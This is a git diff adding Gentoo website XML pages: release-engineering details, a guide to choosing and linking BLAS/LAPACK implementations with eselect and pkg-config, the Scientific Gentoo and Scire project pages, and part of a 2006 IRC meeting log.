+<tr>
+<ti>amd64</ti>
+<ti>Minimal InstallCD, LiveCD, stages</ti>
+<ti><mail>angelos</mail></ti>
+</tr>
+<tr>
+<ti>hppa</ti>
+<ti>Minimal InstallCD, Universal InstallCD, stages</ti>
+<ti><mail>dertobi123</mail></ti>
+</tr>
+<tr>
+<ti>ppc</ti>
+<ti>Minimal InstallCD, Universal InstallCD, stages</ti>
+<ti><mail>ranger</mail></ti>
+</tr>
+<tr>
+<ti>sparc</ti>
+<ti>Minimal InstallCD, Universal InstallCD, stages</ti>
+<ti><mail>armin76</mail></ti>
+</tr>
+<tr>
+<ti>x86</ti>
+<ti>Minimal InstallCD, LiveCD, stages</ti>
+<ti><mail>agaffney</mail></ti>
+</tr>
+</table>
+
+<p>
+The following unsupported architectures are tentatively releasing 2008.0 media.
+</p>
+
+<table>
+<tr>
+<th>Architecture</th>
+<th>Expected Components</th>
+<th>Release Coordinator(s)</th>
+</tr>
+<tr>
+<ti>arm</ti>
+<ti>stages</ti>
+<ti><mail>vapier</mail></ti>
+</tr>
+<tr>
+<ti>ia64</ti>
+<ti>Minimal InstallCD, stages</ti>
+<ti><mail>armin76</mail></ti>
+</tr>
+<tr>
+<ti>mips</ti>
+<ti>stages, netboot images</ti>
+<ti><mail>redhatter</mail></ti>
+</tr>
+<tr>
+<ti>s390</ti>
+<ti>stages</ti>
+<ti><mail>vapier</mail></ti>
+</tr>
+</table>
+
+<p>
+If information regarding a specific architecture is wrong or has been omitted,
+please contact the release operations manager.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Release verification</title>
+
+<section>
+<title>Integrity checking</title>
+<body>
+
+<p>
+There will be DIGESTS files for all release media on the Gentoo mirrors. This
+file can be used to verify that the media that was downloaded was not corrupted
+in transit.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Source verification</title>
+<body>
+
+<p>
+All release media will have its DIGESTS file signed by the <c>Gentoo Linux
+Release	Engineering (releng@gentoo.org)</c> PGP key. The public key ID is
+<c>0x17072058</c>, and the key is available through the <c>subkeys.pgp.net</c>
+keyserver. This can be used to verify that the media is, in fact, the media
+shipped by Release Engineering and not from a potential attacker.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Release Resources</title>
+
+<section>
+<!--
+<title>Release Notes:</title>
+<body>
+
+<ul>
+<li><uri link="alpha-release-notes.xml">Alpha Release Notes</uri></li>
+<li><uri link="amd64-release-notes.xml">AMD64 Release Notes</uri></li>
+<li><uri link="hppa-release-notes.xml">HPPA Release Notes</uri></li>
+<li><uri link="ppc-release-notes.xml">PPC Release Notes</uri></li>
+<li><uri link="sparc-release-notes.xml">SPARC Release Notes</uri></li>
+<li><uri link="x86-release-notes.xml">x86 Release Notes</uri></li>
+</ul>
+
+-->
+<title>Repositories</title>
+<body>
+
+<ul>
+<li><uri>svn+ssh://poseidon.amd64.dev.gentoo.org/release/repos/snapshot-tree</uri> (Read/Write, Releng-only)</li>
+<li><uri>svn+ssh://svn.gentoo.org/var/svnroot/releng</uri> (Read/Write, Releng-only)</li>
+<li><uri>svn://anonsvn.gentoo.org/releng</uri> (Read-only, public)</li>
+</ul>
+
+<note>
+There is no public repository for the snapshot. This is to keep the load down
+on our public SVN servers. The repository will be published after the release
+is completed.
+</note>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/science/blas-lapack.xml b/xml/htdocs/proj/en/science/blas-lapack.xml
new file mode 100644
index 00000000..2b931fc4
--- /dev/null
+++ b/xml/htdocs/proj/en/science/blas-lapack.xml
@@ -0,0 +1,509 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/science/blas-lapack.xml,v 1.3 2007/12/27 19:35:25 bicatali Exp $ -->
+
+<guide link="/proj/en/science/blas-lapack.xml">
+<title>Using multiple versions of BLAS and LAPACK with Gentoo/Linux</title>
+
+<author title="Author">
+  <mail link="bicatali@gentoo.org">Sébastien Fabbro</mail>
+</author>
+<author title="Author">
+  <mail link="markusle@gentoo.org">Markus Dittrich</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+This guide explains the use of the different implementations of the BLAS
+and LAPACK libraries that are available via Portage.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-10-22</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+The Basic Linear Algebra Subroutines (BLAS) and Linear Algebra PACKage (LAPACK)
+are well designed linear algebra software libraries developed by the
+High Performance Computing (HPC) community. BLAS
+implements dense matrix and vectors products, while LAPACK provides routines for 
+solving systems of linear equations. Both are widely used in
+many scientific applications and it is, therefore, important to 
+have efficient implementations available.
+</p>
+
+<p>
+Originally written in FORTRAN 77, a number of additional language
+wrappers have been developed for languages like C, C++, FORTRAN 95, and others.
+The following legacy libraries are available via the reference ebuilds:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://netlib.org/blas">BLAS</uri>: FORTRAN 77 implementation of
+    BLAS
+  </li>
+  <li>
+    <uri link="http://netlib.org/blas">CBLAS</uri>: C implementation of BLAS
+  </li>
+  <li>
+    <uri link="http://netlib.org/lapack">LAPACK</uri>: FORTRAN 77 implementation
+    of LAPACK
+  </li>
+</ul>
+
+<p>
+In addition, Gentoo provides a number of optimized BLAS and LAPACK implementations
+that will be described below. Different implementations are bundled together with
+Gentoo's <c>eselect</c> system and the widely used <c>pkg-config</c> tool.
+</p>
+
+<p> It is important to note that if you require, e.g., a well performing 
+BLAS implementation, simply emerging X over Y often is not enough. Rather, you will have
+to carefully benchmark your applications since performance may depend 
+on many factors,
+such as hardware or network.
+If you are simply looking for a well performing and well tested
+implementation, the reference ebuilds will likely be your best choice.
+</p>
+
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>For Users</title>
+<section>
+<title>Installing</title>
+<body>
+
+<p>
+If best possible performance is not of paramount importance for you 
+and you simply
+need BLAS and/or LAPACK, just emerge the virtual packages:
+</p>
+
+<pre caption="Installing">
+# <i>emerge blas cblas lapack</i>
+</pre>
+
+<p>
+These will install the reference legacy	packages from
+<uri>http://netlib.org</uri>. They are well tested, easy to debug
+implementations. They should satisfy most users; if they're all you need, you're
+done reading.
+</p>
+
+<p>
+However, if:
+</p>
+
+<ul>
+  <li>BLAS/LAPACK are critical for the speed of your applications</li>
+  <li>you absolutely need to build the fastest computer</li>
+  <li>you want to help Gentoo sci project to improve their packages</li>
+</ul>
+
+<p>
+... then read on, and be sure to file bugs both to Gentoo and upstream.
+</p>
+
+<p>
+There is a number of optimized implementations of these libraries in the Portage
+tree:
+</p>
+
+<ul>
+  <li>
+   <uri link="http://math-atlas.sourceforge.net">ATLAS</uri>: Automatically
+   Tuned Linear Algebra Software is an open-source package that empirically
+   tunes the library to the machine it is being compiled on. It provides BLAS
+   (FORTRAN 77 and C), and LAPACK implementations on various architectures.
+  </li>
+  <li>
+   <uri
+   link="http://www.tacc.utexas.edu/resources/software/software.php">GotoBLAS</uri>:
+   Goto BLAS provide open-source, free for academic use, hand-coded
+   machine language, processor optimized versions of the FORTRAN 77 BLAS
+   routines. Claims to be the fastest BLAS.
+  </li>
+  <li>
+    <uri link="http://developer.amd.com/acml.jsp">ACML</uri>: AMD Core Math
+    Library is a closed-source but free package containing BLAS (FORTRAN 77
+    only) and LAPACK for x86 and amd64 architectures, but also other math tools
+    such as statistical libraries and FFTs.
+  </li>
+  <li>
+    <uri link="http://developer.intel.com/software/products/mkl/">MKL</uri>:
+    Intel® Math Kernel Library is a closed-source but free package for
+    non-commercial use containing BLAS (FORTRAN 77 and C), LAPACK optimized for
+    Intel® based architectures: x86, amd64 and ia64.
+  </li>
+</ul>
+
+<p>
+Usually performance gain is noticeable mainly with BLAS, since LAPACK routines
+depend on BLAS kernels.
+</p>
+
+</body>
+</section>
+<section>
+<title>Compiling and linking with installed libraries</title>
+<body>
+
+<p>
+We took great care to make sure that each package provides consistent pkg-config files.
+Hence, compiling and linking with BLAS/LAPACK should be simple and straightforward:
+</p>
+
+<pre caption="Compiling and linking BLAS/LAPACK">
+# <i>pkg-config --libs blas</i>    <comment>(To link with FORTRAN 77 BLAS library)</comment>
+# <i>pkg-config --cflags cblas</i> <comment>(To compile against C BLAS library)</comment>
+# <i>pkg-config --libs cblas</i>   <comment>(To link with C BLAS library)</comment>
+# <i>pkg-config --libs lapack</i>  <comment>(To link with FORTRAN 77 LAPACK library)</comment>
+</pre>
+
+<p>
+<c>pkg-config</c> files are available for whichever implementation you select with <c>eselect</c>.
+More information on using <c>pkg-config</c> can be obtained with <c>man pkg-config</c>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Choosing libraries</title>
+<body>
+
+<p>
+You can easily switch BLAS, CBLAS and LAPACK implementations with
+<c>eselect</c>. At this point, you probably have <c>eselect-blas</c>,
+<c>eselect-cblas</c> and <c>eselect-lapack</c> installed. If you do not,
+install them now! Using eselect, you can view which implementations of CBLAS
+are available.
+</p>
+
+<pre caption="Viewing available implementations">
+# <i>eselect cblas list</i>
+Installed CBLAS for library directory lib64
+[1]   atlas
+[2]   atlas-threads
+[3]   gsl
+[4]   mkl-threads *
+[5]   reference
+</pre>
+
+<p>
+The implementation marked with an asterisk (*) is the currently
+selected implementation. To switch implementations, run:
+</p>
+
+<pre caption="Switching to the ATLAS implementation of LAPACK">
+# <i>eselect lapack set atlas</i>
+</pre>
+
+<p>
+To learn more about the <c>eselect</c> tool, visit the 
+<uri link="http://www.gentoo.org/proj/en/eselect/user-guide.xml">eselect guide</uri>
+</p>
+
+<p>
+When selecting blas, cblas or lapack profiles try to avoid mixing
+different implementations since we don't have any mechanism to enforce
+reasonable profiles. However, here is a list of well performing
+profile combinations that have been used successfully in the past:
+</p>
+<ul>
+  <li> Most CPUs:
+    <ul>
+      <li>blas,cblas: atlas (or atlas-threads with multi-processor)</li>
+      <li>lapack:atlas</li>
+    </ul>
+  </li>
+  <li> Most CPUs:
+    <ul>
+      <li>blas: goto </li>
+      <li>cblas,lapack: reference</li>
+    </ul>
+  </li>
+  <li> AMD based CPUs:
+    <ul>
+      <li>blas,lapack: acml-gfortran (or acml-gfortran-openmp with
+	multi-processors) </li>
+      <li>cblas: reference</li>
+    </ul>
+  </li>
+  <li> Intel based CPUs:
+    <ul>
+      <li>blas,cblas,lapack: mkl-threads</li>
+    </ul>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Choosing a compiler</title>
+<body>
+
+<p>
+Most of the libraries can compile with both the GNU compiler collection and the
+Intel® compilers on the x86, amd64 and ia64 architectures. By default, you are
+probably using <c>gcc</c>. You can also compile the <c>*-reference</c> packages
+with <c>ifort</c> and <c>icc</c>. To do this, you need to define the F77
+environment variable and don't forget the FFLAGS.
+</p>
+
+<pre caption="Using non-GCC compilers">
+# <i>F77=ifort FFLAGS="-O2 -mp" emerge blas-reference</i>
+</pre>
+
+<p>
+Depending on your hardware, a small performance gain can be noticed thanks to
+vectorization. The <c>-mp</c> flag maintains floating-point precision, since by
+default ifort is pretty aggressive on floating point arithmetic, and we are
+actually compiling a math package. Try <c>man ifort</c> to see additional flags
+to fit your hardware.
+</p>
+
+<p>
+Some of the implementations let you specify the Intel® C compiler as
+well. Please beware that not all libraries compile with all
+combinations.  You should receive an error during the emerge in case you have
+chosen an incompatible combination.
+</p>
+
+<p>
+As usual for Gentoo, there are many combinations of USE flags and
+compilers with which you could compile a package. Unfortunately
+switching compilers between BLAS and LAPACK might not be always
+compatible. For example: 
+</p>
+
+<pre caption="Incompatible combinations">
+# <i>F77=ifort FFLAGS="-O2 -mp" USE="openmp" emerge =acml-3.6.0-r1</i>
+# <i>eselect blas set acml-ifort-openmp</i>
+# <i>F77=gfortran FFLAGS="-O2" emerge lapack-reference</i>
+</pre>
+
+<p>
+This will most likely break things or not even compile.
+</p>
+
+<p>
+Try to be consistent in your choice. Stay with the GCC most of the time will
+avoid you some trouble, unless you want to use the MKL, in which case the Intel®
+C and FORTRAN compilers make a good combination.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documentation</title>
+<body>
+
+<p>
+If you need BLAS or LAPACK to develop your own programs, the documentation
+becomes pretty handy. Setting the USE="doc" flag for the corresponding BLAS or
+LAPACK package will install man pages and quick reference sheets from the
+<c>app-doc/blas-docs</c> and <c>app-doc/lapack-docs</c> packages. They are
+standard and valid for all implementations. For optimized packages, the
+USE="doc" flags will usually install extra doc in PDF or HTML format.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>For Developers</title>
+<section>
+<title>Providing new implementations</title>
+<body>
+
+<p>
+The Portage tree contains many ebuilds that depend on the BLAS/CBLAS/LAPACK
+libraries. As there is more than one possible implementation, the Gentoo
+Scientific Project reorganized all the packages to provide <c>virtual/blas</c>,
+<c>virtual/cblas</c>, and <c>virtual/lapack</c>. All ebuilds using BLAS should
+depend on this virtual package, unless it is explicitly known to break with
+different BLAS implementations.
+</p>
+
+<p>
+To work with Gentoo's configuration tools
+<c>app-admin/eselect-{blas,cblas,lapack}</c>, and the virtual, every ebuild that
+installs a BLAS implementation must fulfill following requirements:
+</p>
+
+<ol>
+  <li>
+    The ebuild must install an eselect file for each profile it provides. The
+    libraries should link to the ones in <path>/usr/$(get_libdir)</path>
+    directories and the include files in <path>/usr/include</path>:
+    <ul>
+      <li>
+	<path>libblas.so[.0]</path> - Shared object for FORTRAN BLAS
+	applications
+      </li>
+      <li>
+        <path>libblas.a</path> - Static library for FORTRAN BLAS applications
+      </li>
+      <li>
+        <path>libcblas.so[.0]</path> - Shared object for C/C++ CBLAS applications
+      </li>
+      <li>
+        <path>libcblas.a</path> - Static library for C/C++ CBLAS applications
+      </li>
+      <li><path>cblas.h</path> - Include header for C/C++ applications</li>
+      <li>
+        <path>liblapack.so[.0]</path> - Shared object for FORTRAN LAPACK
+	applications
+      </li>
+      <li>
+        <path>liblapack.a</path> - Static library for FORTRAN LAPACK applications
+      </li>
+    </ul>
+  </li>
+  <li>
+    The ebuild must install a <path>blas.pc</path>, <path>cblas.pc</path> and/or
+    <path>lapack.pc</path> pkg-config file and therefore RDEPEND on
+    <c>dev-util/pkgconfig</c>.  They should also be included in the eselect
+    files, and link to the <path>/usr/$(get_libdir)/pkgconfig</path> directory:
+    <ul>
+      <li><path>blas.pc</path> - BLAS pkg-config file</li>
+      <li><path>cblas.pc</path> - CBLAS pkg-config file</li>
+      <li><path>lapack.pc</path> - LAPACK pkg-config file</li>
+    </ul>
+  </li>
+  <li>Be included in the virtual package as a possible provider:
+    <ul>
+      <li><c>virtual/blas</c> - BLAS virtual package</li>
+      <li><c>virtual/cblas</c> - CBLAS virtual package</li>
+      <li><c>virtual/lapack</c> - LAPACK virtual package</li>
+    </ul>
+  </li>
+</ol>
+ 
+<p>
+The easiest way of understanding all this is probably getting inspiration from
+one of the available packages.  Currently the Portage tree provide the following
+virtuals:
+</p>
+
+<table>
+<tr>
+  <th>Package name</th>
+  <th>virtual/blas</th>
+  <th>virtual/cblas</th>
+  <th>virtual/lapack</th>
+</tr>
+<tr>
+  <ti><c>sci-libs/acml</c></ti>
+  <ti>*</ti>
+  <ti></ti>
+  <ti>*</ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/blas-atlas</c></ti>
+  <ti>*</ti>
+  <ti>*</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/blas-goto</c></ti>
+  <ti>*</ti>
+  <ti></ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/blas-reference</c></ti>
+  <ti>*</ti>
+  <ti></ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/cblas-reference</c></ti>
+  <ti></ti>
+  <ti>*</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/gsl</c></ti>
+  <ti></ti>
+  <ti>*</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/lapack-atlas</c></ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>*</ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/lapack-reference</c></ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>*</ti>
+</tr>
+<tr>
+  <ti><c>sci-libs/mkl</c></ti>
+  <ti>*</ti>
+  <ti>*</ti>
+  <ti>*</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Packages with BLAS/LAPACK dependencies</title>
+<body>
+
+<p>
+Simply use <c>virtual/{blas,cblas,lapack}</c> as a [R]DEPEND. To build some
+packages, you might need to use the pkg-config tool. If you are lucky, the
+package uses autotools together with common BLAS and LAPACK M4 macros.In this
+case, the configuration step becomes simple. For example:
+</p>
+
+<pre caption="Sample package configuration">
+<keyword>econf</keyword> --with-blas="<var>$(pkg-config --libs blas)</var>"
+</pre>
+
+<impo>
+Don't forget to add <c>dev-util/pkgconfig</c> in DEPEND.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>In the near future</title>
+<section>
+<body>
+
+<p>
+We plan to include more standard BLAS, LAPACK libraries: BLAS 95, LAPACK 95,
+Sparse BLAS, ScaLAPACK. If you feel inclined to write an ebuild for these, you
+are more than welcomed to file it on our <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/science/index.xml b/xml/htdocs/proj/en/science/index.xml
new file mode 100644
index 00000000..d2501ee2
--- /dev/null
+++ b/xml/htdocs/proj/en/science/index.xml
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>Scientific Gentoo</name>
+	<longname>Scientific Gentoo Project</longname>
+
+	<description>
+		Science related stuff in Gentoo
+	</description>
+
+	<longdescription>
+<p>The Scientific Gentoo project manages science related  activities in Gentoo
+as well as maintains packages that belong to the sci herd and its sub-herds.
+</p>
+	</longdescription>
+
+	<goals><p>
+		Scientific	Gentoo&#39;s purpose is to create an easy way for scientific community  to
+		use Gentoo Linux to their advantage and to also make it easy to contribute back,
+		should such desire emerge. The project strives to provide a powerfull set of
+		scientific packages as well as wide configurability options that users of Gentoo have
+		come to expect. Additional goals of Scientific Gentoo are to create and maintain
+		relevant documentation as well as to organize activities related to both science and
+		Gentoo.
+	</p></goals>
+
+	
+<dev role="Lead">george</dev>
+<dev role="Core member">phosphan</dev>
+<dev role="Computational chemistry">dberkholz</dev>
+<dev role="Core member">nerdboy</dev>
+<dev role="Core member">bicatali</dev>
+<dev role="Core member">markusle</dev>
+<dev role="Core member, computational biology">weaver</dev>
+<dev role="Core member, structural biology">jlec</dev>
+<dev role="Core member, Biochemistry">je_fro</dev>
+<dev role="Core member, astronomy">xarthisius</dev>
+      
+<resource link="blas-lapack.xml">
+	New BLAS/LAPACK infrastructure - guide on using multiple implementations.
+</resource>
+
+<resource link="http://news.gmane.org/gmane.linux.gentoo.science/">
+	Mailinglist Archive
+</resource>
+
+<resource link="irc://irc.freenode.net/gentoo-science">
+	Official IRC Channel of the Scientific Gentoo Project
+</resource>
+
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/sci.git">
+	Official overlay of the Scientific Gentoo Project
+</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/scire/index.xml b/xml/htdocs/proj/en/scire/index.xml
new file mode 100644
index 00000000..8f89d761
--- /dev/null
+++ b/xml/htdocs/proj/en/scire/index.xml
@@ -0,0 +1,260 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/scire/index.xml,v 1.10 2010/07/17 14:44:23 jmbsvicetto Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Scire</name>
+<longname>Systems Configuration, Installation, and Replication Environment</longname>
+
+<date>2008-08-01</date>
+
+<author title="Author">
+	<mail link="codeman@gentoo.org">Preston Cody</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<description>
+	The Scire project aims to create a simple interface for installing, 
+	configuring, updating, and managing mass numbers of client machines.
+</description>
+
+<longdescription>
+<p>
+	The Scire project aims to create a widely extensible common portal for
+	administrative tasks for multiple Linux client machines.  Common tasks will
+	include updating software, installing software, customizing configuration
+	files, and running scripts.
+	The goal of Scire is to make administration of massive networks of Linux 
+	machines easy on administrators.  It will be extremely modular so as to
+	allow users to create modules that extend its functionality.  This project
+	is closely tied to the Gentoo Linux Installer project since it shares many
+	developers.
+</p>
+<p>
+	The Scire project is actively seeking developers for help on this project!
+</p>
+</longdescription>
+
+<dev role="lead" description="Project coordinator">codeman</dev>
+<dev role="lead" description="Project co-lead">agaffney</dev>
+<dev role="member">blackace</dev>
+
+<extrachapter position="top">
+	<title>News</title>
+	<section>
+		<title>2008-01-02: New Year, New Plan</title>
+		<body>
+		  <p>
+		  	After doing very little for many months, a new attempt has been made to revive
+			this project.  The original python XMLRPC client/server model is being replaced
+			with a perl SSH-based cleint/server.  This resolves some of the drawbacks of the
+			previous model that we didn't like, mainly that it was a pain and not fun to work
+			with.  More info will be posted later when this project gets closer to an alpha
+			release.
+		  </p>
+		</body>
+	</section>
+	<section>
+		<title>2007-05-21: Making some progress</title>
+		<body>
+		  <p>
+		  	Now that the 2007.0 release has occurred, Andrew and I are finally able to
+			devote some more time to SCIRE.  Some progress has been made in recent weeks.
+			The permissions system is being fleshed out and new permissions are being thrown
+			in all over the UI.  This will allow finely-grained control over which users
+			can do which things in the UI.  Also, the database class has been modified to
+			use ADOdb's library, allowing SCIRE to work with a multitude of databases
+			instead of being locked into mysql.  This was always the plan, but coding for
+			mysql was a nice way to get the project rolling early on.  Many thanks to blackace
+			for the original mysql DB class.
+		  </p>
+		</body>
+	</section>
+	<section>
+		<title>2007-02-18: Project in temporary hibernation</title>
+		<body>
+			<p>
+				Seeing how it has been ages since the last real update, I bet many
+				are wondering what is going on with this project.  The answer is that
+				both leads are also the only developers of the Gentoo Linux Installer.
+				This is a long-existing project that has recently undergone a large
+				overhaul to improve stability.  GLI also requires us to make release
+				deadlines.  As such, we have been unable to work on SCIRE for the last
+				few months because of a rush to get a new branch of the installer
+				stable.
+		  </p>
+			<p>
+				Rest assured that this project is not "dead" and that we will get
+				back to work on it as soon as possible.  Andrew Gaffney has made
+				great progress on Quickstart, an automated gentoo installer written
+				to run in a netboot image.  This will be used by SCIRE instead
+				of the existing plan of using the netfe/be of GLI.
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>2006-12-10: Jobs being run!</title>
+		<body>
+			<p>
+				Thought I'd over a status report of the progress over the past couple weeks.
+				I have been picking away slowly but surely at the script and job pages.
+				I have gotten the script library functional enough to add scripts.
+				I have gotten the job addition page functional enough to use those
+				scripts and create simple non-recurring jobs.
+			</p>
+			<p>
+				I set up a vmware machine and launched the scire server and then
+				client on that vmware machine, pointing the server's DB at my main
+				desktop.
+				The client registered itself and put itself as Pending.
+				I used the UI to accept the client and assign permissions to it and
+				then create a job for it.
+				I then ran  the scire client program again and the jobs were retrieved
+				and ran successfully, reporting their results into the job_history
+				table.
+			</p>
+			<p>
+				Things are still quite rough and many aspects are not implemented or
+				tested yet on either the UI or the backend.  Also the permissions
+				structure is not yet being enforced in the UI (makes it easier to
+				develop stuff).  Overall, however, I am happy with the recent
+				progress.  Hopefully we can get most of the core operational by the
+				new year.
+				Cheers,
+				-Codeman
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>2006-11-13: Scire development status</title>
+		<body>
+			<p>
+				It has been quite some time since there was any progress made on
+				Scire.  This is due to many factors, but mainly because the developers
+				working on it are busy with other projects or real life work.
+				We lost our SoC dev mdisney to school, but he will hopefully resurface
+				soon.  Andrew is working with me on a much-needed overhaul of GLI.  He
+				is also the x86 release lead, so we will lose some of his upcoming
+				time to that.
+				All that being said, the project is not dead!!  It just isn't coming
+				along as quickly as we had hoped.
+			</p>
+			<p>
+				Areas currently needing work are job creation/management/reporting and
+				the scrpt library.  Parts of these components are still really in the
+				design phase, so any/all help is appreciated.
+				-Codeman
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>2006-10-16: Announcing Quickstart!</title>
+		<body>
+			<p>
+				Today Andrew Gaffney (agaffney) has announced to the world a new
+				project called Quickstart.  This is an entire rewrite of the Gentoo
+				Linux Installer in POSIX-compliant sh.  This allows Quickstart to
+				fit in netboot images and run in busybox.  The goal was to create 
+				something more like what the installer was *supposed* to be. 
+			</p>
+			<p>
+				Quickstart is meant to be closer to	Kickstart or Jumpstart (do you 
+				see a pattern with the name? :P) than GLI or other single user 
+				installers.  Quickstart uses an installation profile (which is
+				documented 
+				<uri link="http://agaffney.org/repos/quickstart/trunk/doc/config.txt">here</uri>.
+				It has been designed to be extremely flexible in that every step of
+				the installation has pre/post hooks and can even be overwritten
+				entirely in the profile!
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>2006-07-05: A Long-overdue update</title>
+		<body>
+			<p>
+				The Scire project is moving along quite nicely despite some setbacks
+				from disagreements on the implementation of various componenets of
+				the system.  The UI is progressing slowly but surely, and the backend
+				is able to connect and authenticate from client to server.  There is
+				still TONS left to do but at least it's a start.
+			</p>
+			<p>
+				We have been blessed this summer with the addition of Matt Disney, a
+				Google Summer of Code student, who will be working on the project and
+				hopefully getting the backend operational by the end of the summer.
+			</p>
+		</body>
+	</section>
+  <section>
+    <title>2006-04-30: Project page created</title>
+    <body>
+      <p>
+				The Scire project has been in the design phase for the last few months
+				so it's time we made our project page.
+        A working requirements document is in progress and viewable 
+				<uri link="requirements.xml">here</uri>.
+      </p>
+    </body>
+  </section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Other resources or documentation in progress</title>
+<section>
+<body>
+	<p>These links are likely very old.  See the wiki (top link) for what is likely to be the more current version</p>
+<ul>
+	<li><uri link="http://agaffney.org/mediawiki/index.php">Scire Project Wiki</uri></li>	
+  <li><uri link="requirements.xml">Initial design specifications.</uri></li>
+	<li><uri link="http://dev.gentoo.org/~codeman/GIMLI/scire.dia">Pretty (old) diagram of interconnections.</uri></li>
+  <li><uri link="scire.png">Same as above in PNG form.</uri></li>
+	<li><uri link="http://dev.gentoo.org/~codeman/GIMLI/user_interface.dia">Old Diagram showing parts of user interface.</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>How to find us</title>
+<section>
+<body>
+
+<p>
+  In the usual spirt of Gentoo, our development is very open and we invite you
+  to watch/idle/lurk or even participate. You can join our mailing list by
+  sending an email to gentoo-scire-subscribe@gentoo.org, or find us on
+  irc.freenode.net at #gentoo-scire.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Meeting logs and summaries</title>
+<section>
+<body>
+
+<p>
+  Summaries of each meeting called will be available here, along with raw logs
+  for public viewing.
+</p>
+
+<table>
+  <tr>
+    <th>13 Mar 2006</th>
+    <ti><uri link="/proj/en/scire/meetings/meeting_20060318.txt">Log</uri></ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/scire/meetings/meeting_20060318.txt b/xml/htdocs/proj/en/scire/meetings/meeting_20060318.txt
new file mode 100644
index 00000000..62128c68
--- /dev/null
+++ b/xml/htdocs/proj/en/scire/meetings/meeting_20060318.txt
@@ -0,0 +1,499 @@
+Mar 18 22:23:36 blackace	as the first order of business, I submit that GIMLI is a terrible name for a system management tool, and any package containing Frodo.php is clearly unacceptable for production use ;)
+Mar 18 22:26:08 code|work	figures
+Mar 18 22:27:40 blackace	would you put Frodo in a production environment?  of course not :P
+Mar 18 22:27:56 code|work	i would if i wrote it :)
+Mar 18 22:28:45 code|work	you have a valid point there
+Mar 18 22:29:06 code|work	but it makes a very nice development name
+Mar 18 22:29:53 code|work	and since i'm coding the mockups, i'm using GIMLI as the name
+Mar 18 22:30:13 agaffney	heh
+Mar 18 22:43:14 code|work	what's the hex for red?
+Mar 18 22:44:27 blackace	#FF0000
+Mar 18 22:44:37 blackace	#<R><G><B>
+Mar 18 22:44:54 code|work	thx
+Mar 18 22:45:46 blackace	agaffney: enter the installer room
+Mar 18 22:50:19 blackace	ok, the room is moderated, but I just set it so everyone is automatically voice when they enter...that's the only way I can see that it allows us to devoice people vs. banning them outright
+Mar 18 22:57:30 code|work	blackace: have you read my draft requirements doc?  (still waaaay in progress)
+Mar 18 22:58:05 blackace	code|work: what draft requirements doc?
+Mar 18 22:58:41 codeman	http://dev.gentoo.org/~codeman/GIMLI/requirements.odt  <-- updated with initial design for queuing system.
+Mar 18 23:03:23 code|work	so how would the SSH based thing work
+Mar 18 23:03:35 code|work	just the hostname fingerprint?
+Mar 18 23:04:29 agaffney	is there much difference function different for identify verification between a host key/fingerprint and a cert generated by openssl?
+Mar 18 23:04:33 code|work	i'm not good at conceptualizing wrapping the xmlrpc communication in some SSH thing
+Mar 18 23:04:38 agaffney	bah, functional difference
+Mar 18 23:05:03 agaffney	code|work: we wouldn't want to wrap it that way
+Mar 18 23:05:09 code|work	certs you can revoke
